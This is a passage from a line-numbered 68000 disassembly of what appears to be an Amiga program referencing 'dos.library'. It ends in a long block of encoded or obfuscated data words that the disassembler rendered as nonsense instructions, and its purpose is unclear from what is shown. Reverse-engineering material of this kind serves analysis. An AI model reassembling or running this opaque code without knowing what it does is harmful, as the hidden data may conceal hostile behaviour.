  1673.     BGE.S    LAB_00C8        ;1148: 6C04
  1674. LAB_00C7:
  1675.     BSR.S    LAB_00C2        ;114A: 619A
  1676.     BEQ.S    LAB_00C9        ;114C: 670E
  1677. LAB_00C8:
  1678.     MOVEA.L    (A7)+,A0        ;114E: 205F
  1679.     DC.W    $343A            ;1150
  1680.     BTST    D0,(A2)+        ;1152: 011A
  1681.     CMP    #$0007,D2        ;1154: B47C0007
  1682.     BNE.S    LAB_00C6        ;1158: 66C4
  1683.     BRA.S    LAB_00CB        ;115A: 6006
  1684. LAB_00C9:
  1685.     ADDQ.L    #4,A7            ;115C: 588F
  1686. LAB_00CA:
  1687.     MOVEQ    #-1,D0            ;115E: 70FF
  1688.     RTS                ;1160: 4E75
  1689. LAB_00CB:
  1690.     MOVEQ    #0,D0            ;1162: 7000
  1691.     RTS                ;1164: 4E75
  1692. LAB_00CC:
  1693.     MOVEA.L    LAB_00CD(PC),A0        ;1166: 207A000A
  1694.     CLR.B    3(A0)            ;116A: 42280003
  1695.     CMP.L    (A0),D0            ;116E: B090
  1696.     RTS                ;1170: 4E75
  1697. LAB_00CD:
  1698.     DC.W    $103F            ;1172
  1699.     DC.W    $FDFC            ;1174
  1700. LAB_00CE:
  1701.     DC.W    $646F            ;1176
  1702.     DC.W    $732E            ;1178
  1703.     DC.W    $6C69            ;117A
  1704.     BHI.S    LAB_00D5        ;117C: 6272
  1705.     BSR.S    LAB_00D6        ;117E: 6172
  1706.     DC.W    $7900            ;1180
  1707. LAB_00CF:
  1708.     ADDA    A5,A4            ;1182: D8CD
  1709.     ADDA    A5,A7            ;1184: DECD
  1710.     ADDA.L    (A5)+,A2        ;1186: D5DD
  1711.     ADDA.L    (A3)+,A0        ;1188: D1DB
  1712.     AND.L    (A0),D7            ;118A: CE90
  1713.     ADDA    (A7),A3            ;118C: D6D7
  1714.     ADDA    A4,A4            ;118E: D8CC
  1715.     ADDA.L    A4,A5            ;1190: DBCC
  1716.     DC.W    $C3BE            ;1192
  1717. LAB_00D0:
  1718.     ASL.L    #4,D4            ;1194: E984
  1719. LAB_00D1:
  1720.     ASR    -66(A7,A7.L)        ;1196: E0F7F8BE
  1721. LAB_00D2:
  1722.     ADDA    (A7),A3            ;119A: D6D7
  1723.     ADDA    A2,A2            ;119C: D4CA
  1724.     ADDA.L    A3,A7            ;119E: DFCB
  1725.     MULU    (A1),D7            ;11A0: CED1
  1726.     SUBA    A2,A2            ;11A2: 94CA
  1727.     ADDA.L    A3,A7            ;11A4: DFCB
  1728.     MULU    (A1),D7            ;11A6: CED1
  1729.     SUBA    (A2)+,A2        ;11A8: 94DA
  1730.     DC.W    $DFBE            ;11AA
  1731. LAB_00D3:
  1732.     CMP.L    -25672(A6),D2        ;11AC: B4AE9BB8
  1733.     DC.W    $8FBB            ;11B0
  1734. LAB_00D4:
  1735.     DC.W    $BCF6            ;11B2
  1736.     DC.W    $FFF2            ;11B4
  1737.     DC.W    $F59E            ;11B6
  1738.     DC.W    $CECC            ;11B8
  1739.     MULS    (A7),D4            ;11BA: C9D7
  1740.     SUBA    (A2)+,A2        ;11BC: 94DA
  1741.     DC.W    $DFB3            ;11BE
  1742.     DC.W    $B0F3            ;11C0
  1743.     DC.W    $FBF7            ;11C2
  1744.     DC.W    $F69E            ;11C4
  1745.     DC.W    $FCEC            ;11C6
  1746.     DC.W    $F5F3            ;11C8
  1747.     OR.L    D2,D0            ;11CA: 8082
  1748.     ADDA.L    (A3)+,A3        ;11CC: D7DB
  1749.     OR.L    -20(A3,A3.W),D2        ;11CE: 84B3B0EC
  1750.     DC.W    $F9EE            ;11D2
  1751.     ROR.L    #7,D6            ;11D4: EE9E
  1752.     DC.W    $EEF1            ;11D6
  1753.     OR.L    D2,D0            ;11D8: 8082
  1754.     MULU    (A7),D6            ;11DA: CCD7
  1755.     DC.W    $C8CB            ;11DC
  1756.     DC.W    $C9C9            ;11DE
  1757.     ADDA.L    A4,A2            ;11E0: D5CC
  1758.     ADDA.L    A5,A0            ;11E2: D1CD
  1759.     ADDA    (A1),A1            ;11E4: D2D1
  1760.     DC.W    $CAFE            ;11E6
  1761.     DC.W    $CECC            ;11E8
  1762.     MULS    (A7),D4            ;11EA: C9D7
  1763.     SUBA    (A2)+,A2        ;11EC: 94DA
  1764.     ADDX.L    D0,D7            ;11EE: DF80
  1765. LAB_00D5:
  1766.     DC.W    $B7B4            ;11F0
  1767. LAB_00D6:
  1768.     DC.W    $FEFF            ;11F2
  1769.     DC.W    $EEFF            ;11F4
  1770.     DC.W    $B7B4            ;11F6
  1771.     DC.W    $FBD0            ;11F8
  1772.     ADDA.L    A2,A2            ;11FA: D5CA
  1773.     ADDA    (A3)+,A1        ;11FC: D2DB
  1774.     AND.L    (A6)+,D4        ;11FE: C89E
  1775.     OR.L    D5,(A6)+        ;1200: 8B9E
  1776.     ADDA    (A7),A4            ;1202: D8D7
  1777.     MULU    (A3)+,D7        ;1204: CEDB
  1778.     AND.L    D4,(A6)+        ;1206: C99E
  1779.     MULU    (A6),D7            ;1208: CED6
  1780.     ADD.L    D7,(A6)+        ;120A: DF9E
  1781.     ADDA    A3,A7            ;120C: DECB
  1782.     DC.W    $C9CA            ;120E
  1783.     SUB.L    D5,(A7)+        ;1210: 9B9F
  1784.     SUBA    EXT_0001,A5        ;1212: 9AF9C8DBDFCA
  1785.     AND.L    (A6)+,D0        ;1218: C09E
  1786.     MULU    (A1),D7            ;121A: CED1
  1787.     SUBA    #$FFF1,A5        ;121C: 9AFCFFF1
  1788.     DC.W    $F69E            ;1220
  1789.     ADDA.L    (A0),A5            ;1222: DBD0
  1790.     ADD.L    (A6)+,D7        ;1224: DE9E
  1791.     DC.W    $F8F1            ;1226
  1792.     DC.W    $F1F1            ;1228
  1793.     ROXR.L    D4,D3            ;122A: E8B3
  1794.     CMP.L    -112(A3,A3.W),D0    ;122C: B0B3B090
  1795.     DC.W    $B7B4            ;1230
  1796.     DC.W    $EBEB            ;1232
  1797.     DC.W    $F3EA            ;1234
  1798.     DC.W    $B7B4            ;1236
  1799.     END
  1800.